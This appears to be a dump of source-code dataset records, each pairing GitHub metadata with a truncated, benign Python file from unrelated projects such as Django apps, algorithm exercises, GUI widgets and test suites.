import serial import serial.tools.list_ports import time import csv print ('hello') ports = list(serial.tools.list_ports.comports()) print (ports) f=open("song.csv",'r') songs=list(csv.reader(f)) song_dictionary={} i=0 for song in songs: song_dictionary[song[0]]=song[1:] i+=1 for p in ports: ...
[ "noreply@github.com" ]
noreply@github.com
6b5ba24deb483efb1d8ed4e981fb365433a124a0
1813d308dac85e62eb57694807b47e04dd371e45
/login/migrations/0001_initial.py
f46e34ce1d910c3466d13511d7a898577061e98b
[]
no_license
aipp321/django_forum
0d8a041bcc0f4ec28674a9527d7a5d94a7750353
62ecd94403c658966ea2060999b14d1823732b6f
refs/heads/master
2021-03-25T22:15:19.224539
2020-03-16T08:27:26
2020-03-16T08:27:26
247,649,587
0
0
null
null
null
null
UTF-8
Python
false
false
1,064
py
# Generated by Django 3.0.3 on 2020-03-15 15:37 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(aut...
[ "676524249@qq.com" ]
676524249@qq.com
af74ae359eeb57b061f9aa58443dcae344065d59
d0aefac74fefda169c4587040504a329eeea2c5b
/math.py
de532f9456605d04448d284ffcaf56d37be73e28
[]
no_license
rounakkapoor21/practice2
2c659208b0d1c7d0d317a8a8f74d9b67be7a0735
df6b69cb817632c8e5ee34b92162644ba982b2f6
refs/heads/main
2023-06-12T22:01:51.087112
2021-07-11T19:02:18
2021-07-11T19:02:18
384,898,250
0
0
null
null
null
null
UTF-8
Python
false
false
18
py
def add(): pass
[ "noreply@github.com" ]
noreply@github.com
a4aa6fa6575ff9f95b0331e8220d7b45426673c3
a8de26d7866fe88140542e15a2d3eb2f3e6b69d1
/hs_library/api/resources.py
ba62e603ac2848520e35b699a13a7b388b4a43c9
[]
no_license
wym2010/library
781f1155904494b8ce76dfb5263ab1ab72998b09
14fd0cd86f45b0d09f0d8860adc1269b367fc079
refs/heads/master
2020-03-27T15:08:52.670415
2018-08-30T05:33:26
2018-08-30T05:33:26
146,527,918
0
0
null
null
null
null
UTF-8
Python
false
false
22,275
py
from tastypie.resources import ModelResource, Resource from tastypie import fields from tastypie.authentication import BasicAuthentication from ..models import Book, WannaBook, MetaData, Author, Translator, Tag, Series, LoaningRecord, Rating, Review, BookRating, Annotation, Photo import jieba import heapq import json f...
[ "wangym20804@hundsun.com" ]
wangym20804@hundsun.com
6cff30825304b4325fc7acaacfb7b3c524bc563a
5d7a3ed231c2a107041b66240c1b1d252f0840cb
/test/pyparse_test4.py
4a61802256553f3db14125f44b642ee04c0eecbc
[]
no_license
bull313/PSSP
5effb1067532a30b8c6d998fdfdb543551b05ddc
7ddae152aef2801dd6d2c548d3c194778ed3a53c
refs/heads/master
2020-11-29T03:18:48.841382
2020-03-22T00:40:11
2020-03-22T00:40:11
230,006,535
0
0
null
2020-03-22T00:40:13
2019-12-24T21:45:03
null
UTF-8
Python
false
false
13
py
v2 = 1 V2 = 1
[ "noreply@github.com" ]
noreply@github.com
fde111126da9b53bc8d67a8dc48a5b819bfa1b98
621e2ad33f57d0d2e941e41b6c8ac42551468c01
/flaskskeleton/worker.py
831cf82891469a7a3e92dc1b9ae10cb063cc1080
[]
no_license
sholsapp/flask-skeleton
a27019391061105171229a523e364f8d9f5eef8b
02cb785a265f745acca81583d954b8728c20a648
refs/heads/master
2023-02-17T01:30:25.847853
2021-06-30T22:43:19
2021-06-30T23:19:22
9,432,760
24
4
null
2023-02-16T04:10:20
2013-04-14T17:54:16
Python
UTF-8
Python
false
false
763
py
import os from datetime import datetime from apscheduler.schedulers.gevent import GeventScheduler def tick(): print("Tick! The time is: %s" % datetime.now()) def main(): scheduler = GeventScheduler() url = os.environ.get("SQLALCHEMY_DATABASE_URI", "sqlite:///database.db") scheduler.add_jobstore(...
[ "sholsapp@gmail.com" ]
sholsapp@gmail.com
12715c528873546ae9649b4dbb52876cf6d0505b
f90522eee8d87c1486f32f3801a67141f7aee15f
/0129.Sum Root to Leaf Numbers/solution.py
a5789c653314b4d53aacfa3e2860b7adcd4c6bbb
[ "Apache-2.0" ]
permissive
zhlinh/leetcode
15a30af8439e664d2a5f1aa328baf96f0f1791da
6dfa0a4df9ec07b2c746a13c8257780880ea04af
refs/heads/master
2021-01-15T15:49:25.525816
2016-09-20T03:24:10
2016-09-20T03:24:10
48,949,767
0
0
null
null
null
null
UTF-8
Python
false
false
1,386
py
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' ***************************************** Author: zhlinh Email: zhlinhng@gmail.com Version: 0.0.1 Created Time: 2016-03-11 Last_modify: 2016-03-11 ****************************************** ''' ''' Given a binary tree containing digits from...
[ "zhlinhng@gmail.com" ]
zhlinhng@gmail.com
119c672f5d02ac1dc65310e156c212718e05ac89
d838bed08a00114c92b73982a74d96c15166a49e
/docs/data/learn/Bioinformatics/output/ch8_code/src/metrics/PearsonSimilarity.py
aae4c9870689ccc0776b67c2e785b313c5e05669
[]
no_license
offbynull/offbynull.github.io
4911f53d77f6c59e7a453ee271b1e04e613862bc
754a85f43159738b89dd2bde1ad6ba0d75f34b98
refs/heads/master
2023-07-04T00:39:50.013571
2023-06-17T20:27:05
2023-06-17T23:27:00
308,482,936
1
0
null
null
null
null
UTF-8
Python
false
false
1,725
py
from math import sqrt from statistics import mean from sys import stdin from typing import Sequence import yaml # MARKDOWN def pearson_similarity(v: Sequence[float], w: Sequence[float], dims: int): v_avg = mean(v) w_avg = mean(w) vec_avg_diffs_dp = sum((v[i] - v_avg) * (w[i] - w_avg) for i in range(dims)...
[ "offbynull@gmail.com" ]
offbynull@gmail.com
674c9caf989517d884df5cd86a772c7b2a442b8f
ebd5c4632bb5f85c9e3311fd70f6f1bf92fae53f
/PORMain/pirates/minigame/PotionGame.py
92f957bb8a84e1eba8affaa25371084e8a01f38f
[]
no_license
BrandonAlex/Pirates-Online-Retribution
7f881a64ec74e595aaf62e78a39375d2d51f4d2e
980b7448f798e255eecfb6bd2ebb67b299b27dd7
refs/heads/master
2020-04-02T14:22:28.626453
2018-10-24T15:33:17
2018-10-24T15:33:17
154,521,816
2
1
null
null
null
null
UTF-8
Python
false
false
20,463
py
from panda3d.core import CardMaker, NodePath, TextNode # File: P (Python 2.4) from direct.interval.IntervalGlobal import Sequence, Func from direct.showbase.ShowBaseGlobal import * from direct.interval.IntervalGlobal import * from direct.gui.DirectGui import * from pirates.piratesgui.GuiPanel import * from direct.show...
[ "brandoncarden12345@gmail.com" ]
brandoncarden12345@gmail.com
f888881929d29bdc164ecb4acc1d95d379e55905
c98d9e6a27444804247cb438f13f68585cc31534
/convexHull.py
3b59a047dc97244866f12a384f3af66330ef4dbc
[]
no_license
ManuelAlejandrG/ConvexHull
580504e2b5074261a06a2a2eb4ef66f028d44ecd
9f81105aecad88c286b8e9e09c86b25bfc3ed9f0
refs/heads/main
2023-02-27T14:46:02.423444
2021-01-18T00:25:53
2021-01-18T00:25:53
330,514,570
0
0
null
null
null
null
UTF-8
Python
false
false
2,893
py
import matplotlib.pyplot as plt class Point: def __init__(self, x, y): self.x = x self.y = y self.cw_next = None self.ccw_next = None def subtract(self, p): return Point(self.x - p.x, self.y - p.y) def __str__(self): return '(' + str(self.x) + ', ' + str(se...
[ "manuelgoyo10@gmail.com" ]
manuelgoyo10@gmail.com
162dd1d08247031b7dcbf84e89fa2197e3784637
7eb1692bc96c185da9fd26e1da289641e0b0c32b
/venv/Lib/site-packages/pkg_resources/_vendor/packaging/version.py
60068ede8b871ebbdce3b24630ba0a94dbff51ea
[ "BSD-3-Clause", "Apache-2.0" ]
permissive
WojciechMoczydlowski/bin-packing
ec9100da617933a1244be139e1e8d14d699f40a6
49acffccc30dc375f1ce47a1a97b359f69190629
refs/heads/master
2022-08-29T04:56:42.537323
2020-05-30T22:54:44
2020-05-30T22:54:44
268,053,423
0
0
null
2020-05-30T22:54:45
2020-05-30T10:01:28
Python
UTF-8
Python
false
false
11,556
py
# This file is dual licensed under the terms of the Apache License, Version # 2.0, and the BSD License. See the LICENSE file in the root of this repository # for complete details. from __future__ import absolute_import, division, print_function import collections import itertools import re from ._structures import In...
[ "wojciech.moczydlowski98@gmail.com" ]
wojciech.moczydlowski98@gmail.com
75fd5cf369d98ac13c6b45a4356dbe127a192c98
cfd77876c63ed4f395128374845849e2d4811396
/mysite/polls/tests.py
e3c6aa8da430cb2f52c38362a3bcd118f2887662
[]
no_license
deepak-mandal/polls
deaa56b39bfb09096d332f54b7348bb7e882deed
9430872a16bdd7aa0ef8dfecab13d055868f6f03
refs/heads/main
2023-02-18T05:37:43.077441
2021-01-17T09:57:02
2021-01-17T09:57:02
326,632,436
0
0
null
null
null
null
UTF-8
Python
false
false
616
py
from django.test import TestCase # Create your tests here. ##################################### import datetime from django.test import TestCase from django.utils import timezone from .models import Question class QuestionModelTests(TestCase): def test_was_published_recently_with_future_question(self): ...
[ "noreply@github.com" ]
noreply@github.com
0daaf3417d55341cec961b1c30bdf728cf6dc0f4
02d5e8b0b1de92660292337326be86e77a3e301d
/example/StewartPlatform/Code/Configuration.py
ac000f5a76caed0fdff701023541ea32f54da3f9
[]
no_license
dtbinh/pydybot
0f6b98a29c86b9f998c42fbdcbaea82b3365c56d
4121371e5963f8c16a198ea51029a476a363d705
refs/heads/master
2021-01-15T09:28:52.474773
2016-03-19T18:14:32
2016-03-19T18:14:32
63,905,764
1
0
null
2016-07-21T22:14:19
2016-07-21T22:14:17
null
UTF-8
Python
false
false
11,464
py
import math # Bottom origin is on the center of the surface of the bottom board; ZBottomMotor = 41.5 ZeroH = 210.0 LinkA = 75.22 LinkB = 121.0 TopAngle = math.atan(float(25.0/70.0)) BottomAngle = math.atan(float(62.0/102.0)) TopRadius = float(70.0 * math.acos(TopAngle)) BottomRadius = float(102.0 * math.acos(BottomAng...
[ "bxw229@case.edu" ]
bxw229@case.edu
ea4bc44aff4d3218a77150438c2c4bfbda1b5e3e
67b08794699371c244bb1a194bbd883801d4dd6e
/cocktails/Hirosima.py
bd0e66915b6fb05871da428de061730fdc2d7661
[]
no_license
Estoutic/cocktail_calculator
225ac7d1533012b052fc5b3920bf5f086f10441d
64b581a92d552c1e0b33046c67a5cbab578f0843
refs/heads/main
2023-08-05T03:46:27.465462
2021-09-08T21:36:05
2021-09-08T21:36:05
404,476,269
0
0
null
null
null
null
UTF-8
Python
false
false
369
py
from command.base.stock import Stock class Hirosima(Stock): def __init__(self) -> None: super().__init__() self.name = 'HIROSHIMA' def get_name(self): return self.name def get_description(self): return "Do you like shots? Then try this creamy, herbal and sweet, absinthe a...
[ "ilya_udalov_04@mail.ru" ]
ilya_udalov_04@mail.ru
372f79d7e8a7cdf81a502201f2319b2f2215a3a0
5d64fbcf8f814844ab312610796c3125ded1d7d5
/horizontalscrollarea.py
ccedbc7a2367ac45597f06e1a4eb17bd7d281208
[]
no_license
devspectre/pyqt5-desktop-UI---phase-2
093ec2b62d8ead1e61360950970e171793c3c5b0
93006b29db7c92c1968e0c95f46d956a1d33c925
refs/heads/master
2021-07-09T02:22:47.535324
2020-08-13T02:05:15
2020-08-13T02:05:15
180,203,360
0
0
null
null
null
null
UTF-8
Python
false
false
4,089
py
import sys from PyQt5.QtCore import * from PyQt5.QtWidgets import * from PyQt5.QtGui import * from enum import Enum # styles for customized horizontal scroll bar class HSCROLL_STYLE(Enum): SILENT = """ QScrollBar:horizontal { border: none; background: none; width: 0px; margin: 0px 0 0px 0; } QScrol...
[ "devspectre@yandex.com" ]
devspectre@yandex.com
9bd4b64ebb38e2e59820dd722970e0e96371a90f
54c22fdcb44c42b1c0855be576e934939a2a2c5c
/contragents/models.py
0b10a0036da5a0300652633c3a2677971c2eb556
[]
no_license
flashboyka/build_yard
84e50600e03c0124f1fdf3991491852f5f469774
c25b419f445bc5c751966850f3860cf19dfd33a1
refs/heads/master
2020-12-11T06:43:44.601335
2020-01-15T14:34:37
2020-01-15T14:34:37
233,791,548
0
0
null
2020-01-14T08:19:53
2020-01-14T08:19:52
null
UTF-8
Python
false
false
716
py
from django.db import models class Contragent(models.Model): last_name = models.CharField(max_length=25, verbose_name='Фамилия') first_name = models.CharField(max_length=25, verbose_name='Имя') middle_name = models.CharField(max_length=25, verbose_name='Отчество') email = models.EmailField(verbose_nam...
[ "dcopm999@gmail.com" ]
dcopm999@gmail.com
3b6849ee78281ae2e1737249fd55941971b110fc
7ab4cdf01de10faa0b5e6103cb98f4a1447b38e1
/ChromeController/__init__.py
29f415a8675ecb9d895139a843ac001249a70336
[ "BSD-3-Clause" ]
permissive
acskurucz/ChromeController
619a0d46db60809bbe1188dc1d7230e3ef2dba47
4294c1ca7db9569a976710c7c219069eb07d28bf
refs/heads/master
2020-12-08T16:40:32.528694
2020-01-10T12:36:28
2020-01-10T12:36:28
233,036,106
0
0
BSD-3-Clause
2020-01-10T11:47:56
2020-01-10T11:47:55
null
UTF-8
Python
false
false
687
py
from .tab_pool import TabPooledChromium from .chrome_context import ChromeContext from .transport import ChromeExecutionManager from .manager import ChromeRemoteDebugInterface from .Generator import gen from .cr_exceptions import ChromeControllerException from .cr_exceptions import ChromeStartupException from .cr_ex...
[ "something@fake-url.com" ]
something@fake-url.com
9e99b67162c638753d2062d490c0e8fd8749df9c
aceb214f3a3b9d09cd70c21633d531c3a2f6da2e
/tests/conftest.py
d363d166c64ea7310489fdf29344d5484431393d
[ "MIT" ]
permissive
NatanCervinski/invetory-control
09f2e5a31ef075544ef471469b4491035c169754
dc4cf72c7923588b6b285ded8ed3074824a0afbe
refs/heads/main
2023-04-09T10:14:07.548343
2021-04-26T20:23:22
2021-04-26T20:23:22
345,143,649
0
0
null
null
null
null
UTF-8
Python
false
false
349
py
import pytest from inventory_control.app import create_app from inventory_control.ext.db import db @pytest.fixture(scope="session") def app(): app = create_app(FORCE_ENV_FOR_DYNACONF="testing") with app.app_context(): db.create_all(app=app) yield app db.session.remove() db.drop...
[ "natanscer@gmail.com" ]
natanscer@gmail.com
558bd2d24ee8ac10f16af94b25c233606c8a790c
309e3507f87bc27b809d541de5c2c3b452250ee9
/src/_scheduler/timemodule.py
312c2dd23d5ce92e5b7846c6ffaa64d1c0ac2bbd
[ "MIT" ]
permissive
kvosbur/scheduler
2eecc713d08150cf907282fb6a3b9f0d08d772b0
2e6386dc9a62da8e441bd9beebf45ff6a3834793
refs/heads/master
2022-06-14T01:43:56.029342
2020-05-02T23:08:27
2020-05-02T23:08:27
261,678,977
0
0
MIT
2020-05-06T07:06:15
2020-05-06T07:06:14
null
UTF-8
Python
false
false
3,434
py
from typing import List from datetime import datetime, timedelta import scheduler class TimePeriod: """ This class represents a time period between two points in time. The smallest unit of time in this representation is 30mins, and each time period is composed of 30 minute intervals. ------------...
[ "barrezuetai@allegheny.edu" ]
barrezuetai@allegheny.edu
14a85302e3d7802d7f7e94c5061b06e6c2ed850c
9618a5ea7de615cb49ea587e726e9c95c915bf55
/manage.py
49cda204530fed4a3d1d34e539f982fad97c54d0
[]
no_license
moinctg/Django-Blog-Website
f4caf62a5cb99c1d0518fc397cbed5cae18289fd
d34936dff7808f3db46476f0b2fd45d79a05efd8
refs/heads/master
2022-12-17T08:15:32.362621
2020-08-17T04:11:38
2020-08-17T04:11:38
null
0
0
null
null
null
null
UTF-8
Python
false
false
627
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'webapp1.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise Import...
[ "cpimoinuddin@gmail.com" ]
cpimoinuddin@gmail.com
f6c22d5caac6061168eaf7ddaec13a12a3bdb264
4aa5df04a798bc05c6126c7472dbd4700d70e1de
/examples/examples.py
1e8f2392c96f12bf2d7073f262cf935c3325e799
[ "MIT" ]
permissive
tropicoo/ffbinaries-api-client
4a20ea7488a4f829a43f25dac4c89284aa83c0a6
a1d0d60d3b4adbac296044c15d36ec5a1f0fb693
refs/heads/master
2020-08-19T07:29:56.032105
2019-12-28T18:32:49
2019-12-28T18:32:49
215,894,032
1
0
null
null
null
null
UTF-8
Python
false
false
16,003
py
from ffbinaries import FFBinariesAPIClient # API client can optionally cache ffbinaries.com json response with defined cache age in seconds. # By default caching is turned off; Default cache age time is 300 seconds. client = FFBinariesAPIClient(use_caching=True, cache_age=60) print(client.get_latest_version()) # '4.2...
[ "tropicoo@users.noreply.github.com" ]
tropicoo@users.noreply.github.com
0005f2a5e3c0b5382f9f656f5b599d690e0ae7d0
f53e74674ca71907dbd5697cc6bb5124e52e7438
/ctapipe/image/tests/test_hillas.py
dce19abb6c5c6310f55fb4af6675726d8bfb353b
[]
no_license
nietootein/ctapipe
6db48a46780f358a52daebb7975ed07e63ae4b14
fe9d87e29b6fc7f623d6217b94fccbf56ac7802b
refs/heads/master
2021-05-15T11:06:04.137508
2017-10-13T08:10:37
2017-10-13T08:10:37
106,428,506
0
1
null
2017-10-25T13:47:32
2017-10-10T14:30:15
Python
UTF-8
Python
false
false
3,849
py
from ctapipe.instrument import CameraGeometry from ctapipe.image import tailcuts_clean, toymodel from ctapipe.image.hillas import (hillas_parameters_1, hillas_parameters_2, hillas_parameters_3, hillas_parameters_4, HillasParameterizationError) from cta...
[ "karl.kosack@cea.fr" ]
karl.kosack@cea.fr
de84dd671bfd25d67ce441fe83f372dad36cf79d
d62863d049c0206bfa744ca4c9e886030bfce1ab
/apps/sw_shop/sw_order/admin.py
8f33c1274fda9fbe76529288d4886588f0b35c83
[]
no_license
jurgeon018/box
51738b99e640202936ed72357d3c67d2517e589b
50b84a0afa73fab85a00eef54194f3c126d15397
refs/heads/master
2021-07-17T13:37:08.665292
2020-10-15T09:50:33
2020-10-15T09:50:33
232,013,297
0
1
null
2020-03-27T02:16:44
2020-01-06T03:01:34
Python
UTF-8
Python
false
false
9,541
py
from django.utils.translation import gettext_lazy as _ from django.contrib import admin from django.shortcuts import reverse, render, redirect from django.utils.html import mark_safe from django.conf import settings from box.apps.sw_shop.sw_order.models import Order, OrderStatus, Payment # from box.apps.sw_payment.l...
[ "jurgeon018@gmail.com" ]
jurgeon018@gmail.com
00bac4220e2baa81215554c271f054d0e87d6609
c9caa2dec21bb115765f12542f25d1424dd70534
/ABC_163/D.py
dde707e3e8f00e2e378bd8a952510ea1380f6f67
[]
no_license
SSchneider22/AtCoder
d3aa52a6a9108e42877214513cd333afdf7ebef3
bfbad4baef163f9ee0568441de2310d2ca7c7455
refs/heads/master
2020-08-24T13:00:42.675176
2020-06-08T14:59:42
2020-06-08T14:59:42
216,825,061
0
0
null
null
null
null
UTF-8
Python
false
false
591
py
n,k = map(int, input().split()) ans = 0 mod = 10**9+7 for i in range(k,n+2): ans += int((n*(n+1)/2 - (n-i)*(n-i+1)/2 - (i-1)*i/2 +1)) print(ans%mod) """ import sys input = sys.stdin.readline from functools import reduce mod = 10 ** 9 + 7 def cmb(r): numerator = reduce(lambda x, y: x * y % mod, [n - r + k ...
[ "noreason417@gmail.com" ]
noreason417@gmail.com
102c00777c646c1be9bc7c70b3701ecc2d6f5023
6a13ae7849c10c0337aff9ece3d717b1d32d9359
/微博数据情感分析/analysis/main.py
4f33276fbea6c815865e7cd972d77621a51d3b15
[]
no_license
androidcj/pythonDataAnalysis
6c1ef1a57bfaf6d50cf968ba53f605e35fb398a8
ffeb5f6c094054b529bd13d17f1c3670cb59337b
refs/heads/master
2021-04-15T11:51:06.099802
2018-06-18T02:55:04
2018-06-18T02:55:04
126,167,074
2
1
null
null
null
null
UTF-8
Python
false
false
4,571
py
# -*- coding: utf-8 -*- ''' @author: win7 ''' import os import pandas as pd import nltk #from tools import proc_text, split_train_test, get_word_list_from_data, \ # extract_feat_from_data, cal_acc from nltk.text import TextCollection from sklearn.naive_bayes import GaussianNB from analysis.tools import proc_text, ...
[ "win7@win7-PC" ]
win7@win7-PC
1eff67d5472069d539ba8a6ff44af125526cad39
a689965f5b01f5544f8539d3116432a544bdc684
/hw5/hw5.py
7ac15bb435f35a48e8a586f6f44b93d622752b29
[]
no_license
ibilic/SI206
ff723e7221a8976ca112e4fb42456be00dd8d17f
b0b09b33268f17b21a90d15501e21b9c3baa35fb
refs/heads/master
2021-08-26T06:38:26.478154
2017-11-21T21:27:02
2017-11-21T21:27:02
103,983,295
0
0
null
null
null
null
UTF-8
Python
false
false
501
py
#The basic outline of this problem is to read the file, look for integers using the re.findall(), #looking for a regular expression of '[0-9]+' and then converting the extracted strings to integers and summing up the integers. import re file = open(input('Enter filename: ')) l = list() sum_num = 0 a = list() for line ...
[ "ibilic@umich.edu" ]
ibilic@umich.edu
3ab80434887329f7d31198cce80984b6144f3ebc
8b7ba4d8260db8326b648b68fb539e3646a6eb3c
/solution.py
2335ba4c4fbade2387c1d872934c738980365f4f
[]
no_license
ammarhaiderak/IR_Ass1
7f39a7bf8c099e890c7f7b1eaadfc9f99e42df0b
595fe0fb2b7457132e36d8df5b20ac10584451b0
refs/heads/master
2020-07-17T02:48:44.289928
2019-10-29T13:50:53
2019-10-29T13:50:53
205,924,113
0
0
null
null
null
null
UTF-8
Python
false
false
9,172
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Sep 2 22:39:58 2019 @author: ammar """ from os import walk from html.parser import HTMLParser #from nltk.stem import PorterStemmer import re import nltk import sys import datetime sno = nltk.stem.SnowballStemmer('english') #ps=PorterStemmer() term_i...
[ "ammarkhaliq@gmail.com" ]
ammarkhaliq@gmail.com
a8d6700a3e5be59913e0bb7ee24710d06c5244cc
fc5330d52e4e80e1bde977e1fba5180918495d3c
/libevent/stdout_handler.pyi
527986dc761e80bca1fd93e1d5e5672207bf3c9f
[ "MIT" ]
permissive
adamvinueza/libevent
5a475d2ce8958ed451f38f02c2039d39c261140f
23053cbb78fb40a654af1e6a441d5dcc256b6594
refs/heads/master
2023-02-08T22:55:54.528680
2020-12-30T00:10:48
2020-12-30T00:10:48
288,024,214
0
0
MIT
2020-12-30T00:10:50
2020-08-16T21:05:41
Python
UTF-8
Python
false
false
88
pyi
from typing import Any class StdoutHandler: def send(self, evt: Any) -> None: ...
[ "adamvinueza@pm.me" ]
adamvinueza@pm.me
ae1e1ce25954e82dc401c1a96a9aa21b886999f6
da99f8486492674dba62596c6a34a3265e8adfd2
/setup.py
725d3cb10d51d713d6f3366f40eb2729d4b4def2
[ "WTFPL" ]
permissive
jcsaaddupuy/python-osdbinfos
b191b6887b8d48f76e992f5649da8d2d9344fbc9
894fdb45d65087d0cbc9321be72203672ec16bee
refs/heads/master
2021-01-18T16:21:34.002774
2015-09-10T15:36:14
2015-09-10T15:36:14
31,570,296
0
1
null
null
null
null
UTF-8
Python
false
false
602
py
import os from setuptools import setup, find_packages __version__ = "0.0.12" setup( name='osdbinfos', version=__version__, author='Jc Saad-Dupuy 2015', description='Identify videos files from opensubtitle webservice', long_description=open('README.md').read(), license="WTFPL", keywords="vi...
[ "jc.saaddupuy@fsfe.org" ]
jc.saaddupuy@fsfe.org
c4dcecf43b29b6c91eb8bee863955faad8dd5a0e
0d63585233c5e74385aac35c81c7e88913b572a8
/backend/NyaaPantsu/test.py
a5d17f3878ebfacecf4919679386a5c140816c5c
[]
no_license
razvy942/horrible-subs-scraper
afbdb1a66fdb978053aab8d91c7a67a8f48c979f
0f0347a831c6981a0e1d3dd372c32afa9a2aba43
refs/heads/master
2022-12-12T17:39:24.206472
2020-04-13T22:42:21
2020-04-13T22:42:21
248,140,702
1
0
null
2022-12-08T04:01:28
2020-03-18T04:47:24
Python
UTF-8
Python
false
false
404
py
import unittest import NyaaPantsu.nyaaApi class PantsuAPITest(unittest.TestCase): def setUp(self): self.nyaa = NyaaPantsu() def tearDown(self): del self.nyaa def test_get_search_results(self): self.nyaa.search_torrent('Attack on titan') show_name = '[HorribleSubs] Shingeki...
[ "vanos942@gmail.com" ]
vanos942@gmail.com